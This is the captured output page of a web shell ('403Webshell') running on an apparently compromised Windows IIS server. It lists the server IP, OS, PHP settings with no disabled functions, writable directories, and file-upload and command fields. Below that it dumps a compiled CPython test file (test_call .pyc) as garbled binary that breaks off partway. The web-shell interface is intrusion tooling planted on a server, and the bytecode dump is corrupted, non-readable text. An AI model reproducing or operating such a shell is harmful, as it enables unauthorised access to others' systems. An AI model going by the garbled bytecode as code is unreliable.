403Webshell
Server IP : 121.121.20.254  /  Your IP : 216.73.217.51
Web Server : Microsoft-IIS/10.0
System : Windows NT WEB-SERVER 10.0 build 20348 (Windows Server 2022) AMD64
User : IUSR ( 0)
PHP Version : 8.3.28
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/Python313/Lib/test/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : C:/Python313/Lib/test/__pycache__/test_call.cpython-313.opt-1.pyc
�

��is����SSKrSSKJrJrJrJrJrJrJr SSK	r	SSKrSSKrSSK
r
SSKrSSKrSSKrSSKrSSKr"SS\5r"SS\R*5r\"SS\R*55r\R0"\	SLS	5"S
S\R*55r"SS
\5r"SS\5r"SS\5r"SS\5rSrSr"SS5r \ "5r!\""5r#"SS\R*5r$Sr%Sr&Sr'Sr(Sr)\R0"\	SLS	5"SS \R*55r*"S!S"5r+\"S#S$\R*55r,\"S%S&\R*55r-\"S'S(\R*55r."S)S*\R*5r/\R0"\	SLS+5"S,S-\R*55r0\1S.:Xa\Rd"5 gg!\
a Sr	GN�f=f!\
a SrGN�f=f)/�N)�cpython_only�is_wasi�requires_limited_api�Py_DEBUG�set_recursion_limit�
skip_on_s390x�
import_helperc� �\rSrSrSrSrSrg)�BadStr�c��g)NT�)�self�others  �#C:\Python313\\Lib\test\test_call.py�__eq__�
BadStr.__eq__s���c�2�[RU5S-$)N�)�str�__hash__�rs rr�BadStr.__hash__s���|�|�D�!�A�%�%rrN)�__name__�
__module__�__qualname__�__firstlineno__rr�__static_attributes__rrrrrs���&rrc� �\rSrSrSrSrSrg)�
FunctionCalls�c��[R"SS/5nURS5 [UR	55nSnU"S0UD6nURU[5 UR[UR	55U5 g)N)�a�)�b�r$c��U$�Nr)�kws r�fn�+FunctionCalls.test_kwargs_order.<locals>.fn%s���Irr)�collections�OrderedDict�move_to_end�list�items�assertIsInstance�dict�assertEqual)r�od�expectedr+�ress     r�test_kwargs_order�FunctionCalls.test_kwargs_ordersp��
�
$�
$�h��%9�
:��
���s������
�#��	��h�2�h�����c�4�(�����c�i�i�k�*�H�5rc��Sn"SS5nXR/R/nUHn[S5HnU"S5 M M  g![a M"f=f)Nc��gr)rrrr�f�BFunctionCalls.test_frames_are_popped_after_failed_calls.<locals>.f/���rc��\rSrSrSrSrg)�BFunctionCalls.test_frames_are_popped_after_failed_calls.<locals>.C�1c��gr)rrs r�m�DFunctionCalls.test_frames_are_popped_after_failed_calls.<locals>.C.m2���rrN)rrrrrCrrrr�Cr@1���
rrF��)rC�__len__�range�	TypeError)rr<rF�	callables�c�_s      r�)test_frames_are_popped_after_failed_calls�7FunctionCalls.test_frames_are_popped_after_failed_calls,s]��	�	�	����R�Z�Z�(�	��A��4�[����d�G�!���!����s�A�
A�ArN)rrrrr8rOrrrrr!r!s��6�rr!c�
�\rSrSrSrSrSrSrSrSr	Sr
S	rS
rSr
SrS
rSrSrSrSrSrSrSrSrSrSrSrSrSrSrSrSrSr Sr!S r"S!r#S"r$S#r%S$r&S%r'S&r(S'r)S(r*S)r+S*r,S+r-g,)-�CFunctionCallsErrorMessages�>c�J�SnUR[U0R5 g)Nz7__contains__\(\) takes exactly one argument \(0 given\)��assertRaisesRegexrK�__contains__�r�msgs  r�
test_varargs0�)CFunctionCallsErrorMessages.test_varargs0As��H�����y�#�r���?rc�N�SnUR[U0RSS5 g)Nz7__contains__\(\) takes exactly one argument \(2 given\)rr%rUrXs  r�
test_varargs2�)CFunctionCallsErrorMessages.test_varargs2Es!��H�����y�#�r����1�Erc�X�SnUR[U[RSSS5 g)Nz@^from_bytes\(\) takes at most 2 positional arguments \(3 given\)�a�littleF)rVrK�int�
from_bytesrXs  r�
test_varargs3�)CFunctionCallsErrorMessages.test_varargs3Is#��Q�����y�#�s�~�~�t�X�u�Urc��SnUR[U0R5 SnUR[U0R5 g)NzUget\(\) takes at least 1 argument \(0 given\)|get expected at least 1 argument, got 0zexpected 1 argument, got 0)rVrK�get�__delattr__rXs  r�test_varargs1min�,CFunctionCallsErrorMessages.test_varargs1minMs:��:�����y�#�r�v�v�6�+�����y�#�r�~�~�>rc�>�SnUR[U[5 g)Nz,getattr expected at least 2 arguments, got 0�rVrK�getattrrXs  r�test_varargs2min�,CFunctionCallsErrorMessages.test_varargs2minUs��=�����y�#�w�7rc�B�SnUR[U[SS5 g)NzWinput\(\) takes at most 1 argument \(2 given\)|input expected at most 1 argument, got 2r%r')rVrK�inputrXs  r�test_varargs1max�,CFunctionCallsErrorMessages.test_varargs1maxYs��;�����y�#�u�a��;rc�P�SnUR[U0RSSS5 g)NzUget\(\) takes at most 2 arguments \(3 given\)|get expected at most 2 arguments, got 3r%r'r)rVrKrgrXs  r�test_varargs2max�,CFunctionCallsErrorMessages.test_varargs2max^s%��:�����y�#�r�v�v�q�!�Q�?rc�H�SnUR[U0RSS9 g)N�+__contains__\(\) takes no keyword argumentsr'��xrUrXs  r�test_varargs1_kw�,CFunctionCallsErrorMessages.test_varargs1_kwcs"��<�����y�#�r���!��Drc�J�SnUR[U0RSSS9 g)Nrxr'�rz�yrUrXs  r�test_varargs2_kw�,CFunctionCallsErrorMessages.test_varargs2_kwgs$��<�����y�#�r���!�q��Irc�<�SnUR[U[SS9 g)Nz#bool\(\) takes no keyword argumentsr'ry)rVrK�boolrXs  r�test_varargs3_kw�,CFunctionCallsErrorMessages.test_varargs3_kwks��4�����y�#�t�q��9rc�H�SnUR[U/RSS9 g)Nz0^(list[.])?index\(\) takes no keyword arguments$r'ry)rVrK�indexrXs  r�test_varargs4_kw�,CFunctionCallsErrorMessages.test_varargs4_kwos"��A�����y�#�r�x�x�1��=rc�<�SnUR[U[SS9 g)Nz(^hasattr\(\) takes no keyword arguments$r'ry)rVrK�hasattrrXs  r�test_varargs5_kw�,CFunctionCallsErrorMessages.test_varargs5_kws���9�����y�#�w�!��<rc�<�SnUR[U[SS9 g)Nz(^getattr\(\) takes no keyword arguments$r'ryrlrXs  r�test_varargs6_kw�,CFunctionCallsErrorMessages.test_varargs6_kwwr�rc�<�SnUR[U[SS9 g)Nz%^next\(\) takes no keyword arguments$r'ry)rVrK�nextrXs  r�test_varargs7_kw�,CFunctionCallsErrorMessages.test_varargs7_kw{s��6�����y�#�t�q��9rc�P�SnUR[U[RSS9 g)Nz/^_struct[.]pack\(\) takes no keyword arguments$r'ry)rVrK�struct�packrXs  r�test_varargs8_kw�,CFunctionCallsErrorMessages.test_varargs8_kws"��@�����y�#�v�{�{�a��@rc�P�SnUR[U[RSS9 g)Nz4^_struct[.]pack_into\(\) takes no keyword arguments$r'ry)rVrKr��	pack_intorXs  r�test_varargs9_kw�,CFunctionCallsErrorMessages.test_varargs9_kw�s$��E�����y�#�v�/?�/?�1��Erc�n�SnUR[U[R"5RSS9 g)Nz.^deque[.]index\(\) takes no keyword arguments$r'ry)rVrKr-�dequer�rXs  r�test_varargs10_kw�-CFunctionCallsErrorMessages.test_varargs10_kw�s-��?�����y�#�{�/@�/@�/B�/H�/H�A��Nrc��SnUR[U[RR[R"S5SS9 g)Nz.^Struct[.]pack\(\) takes no keyword arguments$�r'ry)rVrKr��Structr�rXs  r�test_varargs11_kw�-CFunctionCallsErrorMessages.test_varargs11_kw�s5��?�����y�#�v�}�}�/A�/A�6�=�=�QS�CT�XY��Zrc�D�SnUR[U[[S9 g)Nz-^staticmethod\(\) takes no keyword arguments$��func)rVrK�staticmethod�idrXs  r�test_varargs12_kw�-CFunctionCallsErrorMessages.test_varargs12_kw�s��>�����y�#�|�"��Erc�D�SnUR[U[[S9 g)Nz,^classmethod\(\) takes no keyword arguments$r�)rVrK�classmethodr�rXs  r�test_varargs13_kw�-CFunctionCallsErrorMessages.test_varargs13_kw�s��=�����y�#�{���Drc	�T�SnUR[U[RSSSS9 g)Nz:^product\(\) takes at most 1 keyword argument \(2 given\)$rr%r')�repeat�foo)rVrK�	itertools�productrXs  r�test_varargs14_kw�-CFunctionCallsErrorMessages.test_varargs14_kw�s.��K�����y�#�(�0�0�!�A�1�	�	Frc�D�SnUR[U[SSSSSS9 g)Nz?^ImportError\(\) takes at most 3 keyword arguments \(4 given\)$rr%r'r)�name�path�	name_fromr�)rVrK�ImportErrorrXs  r�test_varargs15_kw�-CFunctionCallsErrorMessages.test_varargs15_kw�s-��P�����y�#�*�A�A�A��PQ�	�	Src
�B�SnUR[U[SSSSS9 g)Nz7^min\(\) takes at most 2 keyword arguments \(3 given\)$rr%r'r)�default�keyr�)rVrK�minrXs  r�test_varargs16_kw�-CFunctionCallsErrorMessages.test_varargs16_kw�s*��H�����y�#�"�A�q�a�Q�	�	@rc�F�SnUR[U[SSSSSSS9	 g)	Nz3print\(\) got an unexpected keyword argument 'foo'$rr%r'r��)�sep�end�file�flushr�)rVrK�printrXs  r�test_varargs17_kw�-CFunctionCallsErrorMessages.test_varargs17_kw�s.��D�����y�#�$�a�Q�A�A�Q�A�	�	Orc��SnUR[U5 [S0[S5S0D6 SSS5 g!,(df   g=f)Nz'invalid keyword argument for print\(\)$r��,)rr%)rVrKr�rrXs  r�test_varargs18_kw�-CFunctionCallsErrorMessages.test_varargs18_kw�s7��8��
�
#�
#�I�s�
3��/�6�%�=�#�.�/�4�
3�
3��	�9�
Ac��SnUR[U5 [S0[S5S0D6 SSS5 g!,(df   g=f)Nz'invalid keyword argument for round\(\)$r�r%)g�?)rVrK�roundrrXs  r�test_varargs19_kw�-CFunctionCallsErrorMessages.test_varargs19_kw�s7��8��
�
#�
#�I�s�
3��-�6�%�=�!�,�-�4�
3�
3�r�c�L�SnUR[U0RS5 g)Nz'keys\(\) takes no arguments \(1 given\)r�rVrK�keysrXs  r�test_oldargs0_1�+CFunctionCallsErrorMessages.test_oldargs0_1�s��8�����y�#�r�w�w��:rc�N�SnUR[U0RSS5 g)Nz'keys\(\) takes no arguments \(2 given\)rr%r�rXs  r�test_oldargs0_2�+CFunctionCallsErrorMessages.test_oldargs0_2�s!��8�����y�#�r�w�w��1�=rc�H�SnUR[U0RSS9 g)N�#keys\(\) takes no keyword argumentsr'ryr�rXs  r�test_oldargs0_1_kw�.CFunctionCallsErrorMessages.test_oldargs0_1_kw�s"��4�����y�#�r�w�w�!��<rc�J�SnUR[U0RSSS9 g)Nr�r'r~r�rXs  r�test_oldargs0_2_kw�.CFunctionCallsErrorMessages.test_oldargs0_2_kw�s$��4�����y�#�r�w�w�!�q��Arc�J�SnUR[U/R5 g)Nz0count\(\) takes exactly one argument \(0 given\)�rVrK�countrXs  r�test_oldargs1_0�+CFunctionCallsErrorMessages.test_oldargs1_0�s��A�����y�#�r�x�x�8rc�N�SnUR[U/RSS5 g)Nz0count\(\) takes exactly one argument \(2 given\)r%r'r�rXs  r�test_oldargs1_2�+CFunctionCallsErrorMessages.test_oldargs1_2�s!��A�����y�#�r�x�x��A�>rc�H�SnUR[U/RSS9 g�N�$count\(\) takes no keyword argumentsr'ryr�rXs  r�test_oldargs1_0_kw�.CFunctionCallsErrorMessages.test_oldargs1_0_kw�s"��5�����y�#�r�x�x�1��=rc�J�SnUR[U/R0SS9 gr�r�rXs  r�test_oldargs1_1_kw�.CFunctionCallsErrorMessages.test_oldargs1_1_kw�s$��5�����y�#�r�x�x��q��Arc�J�SnUR[U/RSSS9 g)Nr�r'r~r�rXs  r�test_oldargs1_2_kw�.CFunctionCallsErrorMessages.test_oldargs1_2_kw�s$��5�����y�#�r�x�x�1���Brc�F�SnUR[U[55 g)Nz!^'object' object is not callable$)rVrK�objectrXs  r�test_object_not_callable�4CFunctionCallsErrorMessages.test_object_not_callable�s��2�����y�#�v�x�8rc�^�SnUR[U[R"S55 g�N�!^'module' object is not callable$�mod)rVrK�types�
ModuleTyperXs  r�(test_module_not_callable_no_suggestion_0�DCFunctionCallsErrorMessages.test_module_not_callable_no_suggestion_0�s$��2�����y�#�u�/?�/?��/F�Grc�n�Sn[R"S5nSUlUR[X5 g�Nrr�*�rrrrVrK�rrYrs   r�(test_module_not_callable_no_suggestion_1�DCFunctionCallsErrorMessages.test_module_not_callable_no_suggestion_1�s.��2�����u�%��������y�#�3rc�d�Sn[R"S5nU?UR[X5 gr�rrrrVrKrs   r�(test_module_not_callable_no_suggestion_2�DCFunctionCallsErrorMessages.test_module_not_callable_no_suggestion_2�s,��2�����u�%���L����y�#�3rc�n�Sn[R"S5nSUlUR[X5 gr	rrs   r�(test_module_not_callable_no_suggestion_3�DCFunctionCallsErrorMessages.test_module_not_callable_no_suggestion_3�s.��2�����u�%��������y�#�3rc�p�Sn[R"S5nSUlUR[X5 g)NzH^'module' object is not callable\. Did you mean: 'mod\.mod\(\.\.\.\)'\?$rc��g)N.rrrr�<lambda>�QCFunctionCallsErrorMessages.test_module_not_callable_suggestion.<locals>.<lambda>�s��#rrrs   r�#test_module_not_callable_suggestion�?CFunctionCallsErrorMessages.test_module_not_callable_suggestion�s.��Y�����u�%��������y�#�3rrN).rrrrrZr]rdrirnrrrur{r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�rr
rrrrrrrrRrR>s���@�F�V�?�8�<�
@�
E�J�:�>�=�=�:�A�F�O�[�F�E�F�
S�
@�
O�
0�.�;�>�=�B�9�?�>�B�C�9�H�4�4�4�4rrR�requires _testcapic��\rSrSrSrSrSrSrSrSr	Sr
S	rS
rSr
SrS
rSrSrSrSrSrSrSrSrSrSrSrSrSrSrg)�TestCallingConventions�akTest calling using various C calling conventions (METH_*) from Python

Subclasses test several kinds of functions (module-level, methods,
class methods static methods) using these attributes:
  obj: the object that contains tested functions (as attributes)
  expected_self: expected "self" argument to the C function

The base class tests module-level functions.
c�(�[=UlUlgr))�	_testcapi�obj�
expected_selfrs r�setUp�TestCallingConventions.setUps��(1�1���4�%rc�v�URURRSSS5URS45 g�Nr%r'r�r%r'r�r4r"�meth_varargsr#rs r�test_varargs�#TestCallingConventions.test_varargss4������H�H�!�!�!�Q��*�
�
�
��+�	
rc�n�URURR"S6URS45 g�Nr(r)rs r�test_varargs_ext�'TestCallingConventions.test_varargs_exts0������H�H�!�!�9�-�
�
�
��+�	
rc�@^�SnTR[UU4Sj5 g)Nz+meth_varargs\(\) takes no keyword argumentsc�6>�TRRSS9$�Nr%)�k)r"r*rs�rr�>TestCallingConventions.test_varargs_error_kw.<locals>.<lambda>s���D�H�H�$9�$9�A�$9�$>r�rVrKrXs` r�test_varargs_error_kw�,TestCallingConventions.test_varargs_error_kws���<������s�>�	
rc	�|�URURRSSSSS9URSSSS.45 g�Nr%r'rr��r$r&�r%r'�r4r"�meth_varargs_keywordsr#rs r�test_varargs_keywords�,TestCallingConventions.test_varargs_keywordss@������H�H�*�*�1�a�1��*�:�
�
�
��q�q�)9�:�	
rc	��URURR"SS/0SSS.D6URSSSS.45 gr:r=rs r�test_varargs_keywords_ext�0TestCallingConventions.test_varargs_keywords_ext#sE������H�H�*�*�Q��F�G�A�A�6F�G�
�
�
��q�q�)9�:�	
rc�r�URURRS5URS45 g�Nr%�r4r"�meth_or#rs r�test_o�TestCallingConventions.test_o)s*�����������+�d�.@�.@�!�-D�Erc�p�URURR"S/6URS45 grErFrs r�
test_o_ext�!TestCallingConventions.test_o_ext,s,����������1�#�.��1C�1C�Q�0G�Hrc�\�SnUR[XRR5 g)Nz1meth_o\(\) takes exactly one argument \(0 given\))rVrKr"rGrXs  r�test_o_error_no_arg�*TestCallingConventions.test_o_error_no_arg/s��B�����y�#�x�x���?rc�@^�SnTR[UU4Sj5 g)Nz1meth_o\(\) takes exactly one argument \(2 given\)c�<>�TRRSS5$�Nr%r'�r"rGrs�rr�>TestCallingConventions.test_o_error_two_args.<locals>.<lambda>6s���D�H�H�O�O�A�q�$9rr6rXs` r�test_o_error_two_args�,TestCallingConventions.test_o_error_two_args3s���B������s�9�	
rc�@^�SnTR[UU4Sj5 g)Nz1meth_o\(\) takes exactly one argument \(3 given\)c�6>�TRR"S6$r.rSrs�rr�9TestCallingConventions.test_o_error_ext.<locals>.<lambda><s���D�H�H�O�O�Y�$?rr6rXs` r�test_o_error_ext�'TestCallingConventions.test_o_error_ext9s���B������s�?�	
rc�@^�SnTR[UU4Sj5 g)N�%meth_o\(\) takes no keyword argumentsc�6>�TRRSS9$r3rSrs�rr�8TestCallingConventions.test_o_error_kw.<locals>.<lambda>B����D�H�H�O�O�a�O�$8rr6rXs` r�test_o_error_kw�&TestCallingConventions.test_o_error_kw?����6������s�8�	
rc�@^�SnTR[UU4Sj5 g)Nr]c�6>�TRRSS9$r3rSrs�rr�<TestCallingConventions.test_o_error_arg_kw.<locals>.<lambda>Hr`rr6rXs` r�test_o_error_arg_kw�*TestCallingConventions.test_o_error_arg_kwErcrc�l�URURR5UR5 gr)�r4r"�meth_noargsr#rs r�test_noargs�"TestCallingConventions.test_noargsKs%��������-�-�/��1C�1C�Drc�j�URURR"/6UR5 gr)rjrs r�test_noargs_ext�&TestCallingConventions.test_noargs_extNs'��������-�-�r�2�D�4F�4F�Grc�@^�SnTR[UU4Sj5 g)Nz.meth_noargs\(\) takes no arguments \(1 given\)c�:>�TRRS5$rE�r"rkrs�rr�>TestCallingConventions.test_noargs_error_arg.<locals>.<lambda>Ts���D�H�H�$8�$8��$;rr6rXs` r�test_noargs_error_arg�,TestCallingConventions.test_noargs_error_argQs���?������s�;�	
rc�@^�SnTR[UU4Sj5 g)Nz.meth_noargs\(\) takes no arguments \(2 given\)c�<>�TRRSS5$rRrsrs�rr�?TestCallingConventions.test_noargs_error_arg2.<locals>.<lambda>Zs���D�H�H�$8�$8��A�$>rr6rXs` r�test_noargs_error_arg2�-TestCallingConventions.test_noargs_error_arg2Ws���?������s�>�	
rc�@^�SnTR[UU4Sj5 g)Nz.meth_noargs\(\) takes no arguments \(3 given\)c�6>�TRR"S6$r.rsrs�rr�>TestCallingConventions.test_noargs_error_ext.<locals>.<lambda>`s���D�H�H�$8�$8�)�$Drr6rXs` r�test_noargs_error_ext�,TestCallingConventions.test_noargs_error_ext]s���?������s�D�	
rc�@^�SnTR[UU4Sj5 g)Nz*meth_noargs\(\) takes no keyword argumentsc�6>�TRRSS9$r3rsrs�rr�=TestCallingConventions.test_noargs_error_kw.<locals>.<lambda>fs���D�H�H�$8�$8�1�$8�$=rr6rXs` r�test_noargs_error_kw�+TestCallingConventions.test_noargs_error_kwcs���;������s�=�	
rc�v�URURRSSS5URS45 gr'�r4r"�
meth_fastcallr#rs r�
test_fastcall�$TestCallingConventions.test_fastcallis4������H�H�"�"�1�a��+�
�
�
��+�	
rc�n�URURR"S6URS45 gr.r�rs r�test_fastcall_ext�(TestCallingConventions.test_fastcall_extos0������H�H�"�"�I�.�
�
�
��+�	
rc�@^�SnTR[UU4Sj5 g)Nz,meth_fastcall\(\) takes no keyword argumentsc�6>�TRRSS9$r3)r"r�rs�rr�?TestCallingConventions.test_fastcall_error_kw.<locals>.<lambda>xs���D�H�H�$:�$:�Q�$:�$?rr6rXs` r�test_fastcall_error_kw�-TestCallingConventions.test_fastcall_error_kwus���=������s�?�	
rc	�|�URURRSSSSS9URSSSS.45 gr:�r4r"�meth_fastcall_keywordsr#rs r�test_fastcall_keywords�-TestCallingConventions.test_fastcall_keywords{s@������H�H�+�+�A�q�A��+�;�
�
�
��q�q�)9�:�	
rc	��URURR"S0SSS.D6URSSSS.45 g)Nr<rr�r;r�rs r�test_fastcall_keywords_ext�1TestCallingConventions.test_fastcall_keywords_ext�sA������H�H�+�+�V�H�Q�Q�7G�H�
�
�
��q�q�)9�:�	
r�r#r"N)rrrr�__doc__r$r+r/r7r?rBrHrKrNrUrZrargrlrorurzrr�r�r�r�r�r�rrrrrr�s����2�
�
�
�
�
�F�I�@�
�
�
�
�E�H�
�
�
�
�
�
�
�
�
rrc��\rSrSrSrSrSrg)�TestCallingConventionsInstancei�z?Test calling instance methods using various calling conventionsc�F�[R"5=UlUlgr))r!�MethInstancer"r#rs rr$�$TestCallingConventionsInstance.setUp�s��(1�(>�(>�(@�@���4�%rr�N�rrrrr�r$rrrrr�r��s��I�Arr�c��\rSrSrSrSrSrg)�TestCallingConventionsClassi�z<Test calling class methods using various calling conventionsc�<�[R=UlUlgr)�r!�	MethClassr"r#rs rr$�!TestCallingConventionsClass.setUp�s��(1�(;�(;�;���4�%rr�Nr�rrrr�r��s
��F�<rr�c��\rSrSrSrSrSrg)�#TestCallingConventionsClassInstancei�z&Test calling class methods on instancec�b�[R"5Ul[RUlgr)r�rs rr$�)TestCallingConventionsClassInstance.setUp�s ���&�&�(���&�0�0��rr�Nr�rrrr�r��s
��0�1rr�c��\rSrSrSrSrSrg)�TestCallingConventionsStatici�z=Test calling static methods using various calling conventionsc�F�[R"5UlSUlgr))r!�
MethStaticr"r#rs rr$�"TestCallingConventionsStatic.setUp�s���'�'�)���!��rr�Nr�rrrr�r��s
��G�"rr�c��X/$r)r��arg1�arg2s  r�pyfuncr��s
���<�rc��g�N�noargrrrr�pyfunc_noargr��s��rc�@�\rSrSrSrSr\S5r\S5r	Sr
g)�PythonClassi�c��X/$r)r)rr�r�s   r�method�PythonClass.method�s
���|�rc��gr�rrs r�method_noarg�PythonClass.method_noarg�s��rc��g)Nr�r)�clss r�class_method�PythonClass.class_method�s��rc��g)Nr�rrrr�
static_method�PythonClass.static_method�s��rrN)rrrrr�r�r�r�r�r�rrrrr�r��s4�����������rr�c���\rSrSrSr\SSS/4\SS4\RSS4\RSS	4\
RSSS/4\
RSS4\
RSS4\
RSS	4/r
\S
SS0SS/4\SSSS.SS/4\
RS
SS0SS/4\
RSSSS.SS/4/r\(Ga�\R "5r\\4\\4\R$\R$4\R$"5\R$4\R&S
44GH&urr\
R-\R.S\S44\R0S\S\44\R4S\S44\R4S\S44\R6S\S\44\R6S\S\44\R8S\4\R:S\S44/5 \R-\R0SSS0\SSS044\R0SSS0\SSS044\R0S0\S\44\R6SSS0\SSS044\R6SSS0\SSS044\R6S0\S\44/5 GM) Sr\R@"\S
LS5S5r!\R@"\S
LS5S5r"Sr#Sr$g
)�
FastCallTestsi�z0Test calling using various callables from C
    r<r%r'rr�r�r�)r%r�r�N)�{r�rzrc��[U[5(a$US[LaUS0S4;a
/USSQUSP7nURX5 g)N���)�
isinstance�tuple�
NULL_OR_EMPTYr4)r�resultr6s   r�check_result�FastCallTests.check_resultsQ���h��&�&�8�B�<�=�+H��b�z�b�$�Z�'�7�X�c�r�]�7�F�2�J�7������*rrc��URHvupnURXS9 [R"XS5nUR	XC5 U(d)[R"USS5nUR	XC5 SSS5 Mx UR
HGuppSURXUS9 [R"XU5nUR	XC5 SSS5 MI g!,(df   M�=f!,(df   Mm=f)N�r��args�r�r��kwargs)�
CALLS_POSARGS�subTestr!�pyobject_fastcalldictr��CALLS_KWARGS)rr�r�r6r�r�s      r�test_vectorcall_dict�"FastCallTests.test_vectorcall_dicts���%)�$6�$6� �D�����4��3�"�8�8��T�J���!�!�&�3��&�<�<�T�4��N�F��%�%�f�7�4�3�%7�-1�,=�,=�(�D�����4�6��B�"�8�8��V�L���!�!�&�3�C�B�->�4�3��C�B�s�AC�))C1�
C.	�1
D	c��URH�upnURXS9 [R"XS5nUR	XC5 [R"XS5nUR	XC5 U(dR[R"USS5nUR	XC5 [R"USS5nUR	XC5 SSS5 M� UR
H|uppSURXUS9 [
UR55nU[
UR55-n[R"XU5nUR	XC5 SSS5 M~ g!,(df   GMh=f!,(df   M�=f)Nr�rr�)	r�r�r!�pyobject_vectorcallr�r�r�r��values)rr�r�r6r�r��kwnamess       r�test_vectorcall�FastCallTests.test_vectorcall.sB��%)�$6�$6� �D�����4��3�"�6�6�t�4�H���!�!�&�3�#�6�6�t�2�F���!�!�&�3��&�:�:�4��t�L�F��%�%�f�7�'�:�:�4��r�J�F��%�%�f�7�!4�3�%7�&-1�,=�,=�(�D�����4�6��B�����
�.���e�F�M�M�O�4�4��"�6�6�t�7�K���!�!�&�3�	C�B�->�%4�3��&C�B�s�B*E%�:AE8�%
E5	�8
F	c�`�"SS5nU"U"5S9n[SSSU40URD6 g)Nc�&�\rSrSrS/rSrSrSrg)�>FastCallTests.test_fastcall_clearing_dict.<locals>.IntWithDictiOr�c��Xlgr)�r�)rr�s  r�__init__�GFastCallTests.test_fastcall_clearing_dict.<locals>.IntWithDict.__init__Qs��$�rc�b�URR5 [R"5 g)Nr)r��clear�gc�collectrs r�	__index__�HFastCallTests.test_fastcall_clearing_dict.<locals>.IntWithDict.__index__Ss�����!�!�#��
�
��rr�N)rrrr�	__slots__r�r�rrrr�IntWithDictr�Os��!�
�I�
%�
rr�)�optimize�passr��exec)�compiler�)rr�rzs   r�test_fastcall_clearing_dict�)FastCallTests.test_fastcall_clearing_dictLs3��	�	�
���/��	���F�A�2����2r)%rrrrr�r�r�r�r�r��PYTHON_INSTANCEr�r�r�r�r!r��	_instancer�r�r"r#�extendr*r>r�r�r�rkrGr��unittest�skipIfr�r�r�rrrrr�r��se���
��!�Q�� �
�r�7�#�
�	!�	!�2�}�5�	�	"�	"�B��7�
�	�	��!�Q��0�	�	%�	%�r�7�3�	�	%�	%�r�=�9�	�	&�	&��N�;�#�M�6
����{�Q��F�+�	��a��+�a��V�4�
�	�	����{�Q��F�;�	�	�	��a��%;�a��V�D��L���*�*�,�	�
�	�"�
�	�"�
�
 �
 �)�"5�"5�6�
�
 �
 �
"�I�$7�$7�8�
�
!�
!�4�(�#
��C��
� � ��!�!�6�M�6�+B�C��*�*��]�F�M�B�D��"�"�F�]�F�,C�D��"�"�B���(;�<��+�+��]�F�M�B�D��+�+����M�:�<����"�m�4����W�}�c�&:�;�"�
�
����*�*��S�#�J����c�
�(K�M��*�*���c�
�]�B��c�
�$C�E��*�*��B���
� F�H��+�+��S�#�J����c�
�(K�M��+�+���c�
�]�B��c�
�$C�E��+�+��B���
� F�H�
!�

�+#
�H+��_�_�Y�$�&�(<�=�4�>�4�&�_�_�Y�$�&�(<�=�4�>�4�:3rr�iic��U$�zsome docrrs r�testfunctionrb����Krc��U$rr)rr*s  r�testfunction_kwrgrrr'c�z�\rSrSrSrSrSrSrSrSr	Sr
S	rS
r\
S5r\
S5r\
S
5rSrg)�
TestPEP590ioc���SSKnURS5"[5nUR[	[
5R[-5 UR[	[R5R[-5 UR[	[R5R[-5 UR[	[5R[-5 UR[	U5R[-5 UR[RR[-5 UR[RR[-5 UR[RR[-5 "SS[R5nURUR[-5 g)Nrr%c��\rSrSrSrg)�DTestPEP590.test_method_descriptor_flag.<locals>.MethodDescriptorHeapi�rN�rrrrrrrr�MethodDescriptorHeapr
����rr)�	functools�	lru_cacher�assertFalse�type�repr�	__flags__�Py_TPFLAGS_METHOD_DESCRIPTOR�
assertTruer0�append�__add__r!�MethodDescriptorBase�MethodDescriptorDerived�MethodDescriptorNopGet)rr�cachedrs    r�test_method_descriptor_flag�&TestPEP590.test_method_descriptor_flagrs<����$�$�Q�'��5������d��-�-�0L�L�M�����T�[�[�)�3�3�6R�R�S�����T�\�\�*�4�4�7S�S�T�����\�*�4�4�7S�S�T�����V��.�.�1M�M�N����	�6�6�@�@�C_�_�`����	�9�9�C�C�Fb�b�c�����9�9�C�C�Fb�b�c�	�9�#A�#A�	����-�7�7�:V�V�Wrc���UR[RR[-5 UR[R
R[-5 UR
[RR[-5 UR[RR[-5 "SS[R5nURUR[-5 [Ul
UR
UR[-5 "SS[R5nUR
UR[-5 g)Nc��\rSrSrSrg)�=TestPEP590.test_vectorcall_flag.<locals>.MethodDescriptorHeapi�rNrrrrrr �r
rrc��\rSrSrSrSrg)r i�c��gr)rrs r�__call__�FTestPEP590.test_vectorcall_flag.<locals>.MethodDescriptorHeap.__call__�rErrN�rrrrr#rrrrrr �rGr)rr!rr�Py_TPFLAGS_HAVE_VECTORCALLrrr�MethodDescriptor2r�r#)rrs  r�test_vectorcall_flag�TestPEP590.test_vectorcall_flag�s������	�6�6�@�@�C]�]�^����	�9�9�C�C�F`�`�a�����9�9�C�C�F`�`�a����	�3�3�=�=�@Z�Z�[�	�9�#A�#A�	����,�6�6�9S�S�T�(-��%����-�7�7�:T�T�U�	�9�#A�#A�	�	
���-�7�7�:T�T�Urc��[[S55n[R"5nUR	U"U6U5 g)Nr�)r�rJr!r�assertIs)rr�r<s   r�test_vectorcall_override�#TestPEP590.test_vectorcall_override�s1���U�1�X����,�,�.���
�
�a��h��%rc��[R"5nU"5nURU"5S5 URU5 URU"5S5 SUlURU"5S5 g)z*Setting __call__ should disable vectorcall�tp_call�
vectorcallc��g�N�customrrs rr�FTestPEP590.test_vectorcall_override_on_mutable_class.<locals>.<lambda>�s��rr3N)r!�make_vectorcall_classr4�set_vectorcallr#)r�TestType�instances   r�)test_vectorcall_override_on_mutable_class�4TestPEP590.test_vectorcall_override_on_mutable_class�sc���2�2�4���:�������Y�/�����)������\�2�1��������X�.rc�^�[R"5n"SSU5nU"5n[R"U5n[R"U5nUR[XB55 UR[XQ55 UR	U"5S5 UR	[R
"U5S5 UR	[R
"U5S5 UR	[R
"U5S5 UR	[R
"U5S5 UR
U5 UR	U"5S5 UR	[R
"U5S5 UR	[R
"U5S5 UR	[R
"U5S5 UR	[R
"U5S5 SUlUR	U"5S5 UR	[R
"U5S5 UR	[R
"U5S5 UR	[R
"U5S5 UR	[R
"U5S5 g	)
z:Setting __call__ on a superclass should disable vectorcallc��\rSrSrSrg)�FTestPEP590.test_vectorcall_override_with_subclass.<locals>.DerivedTypei�rNrrrr�DerivedTyper=�r
rr>r/Tr0c��gr2rrs rr�CTestPEP590.test_vectorcall_override_with_subclass.<locals>.<lambda>�s��(rr3FN)r!r5r�
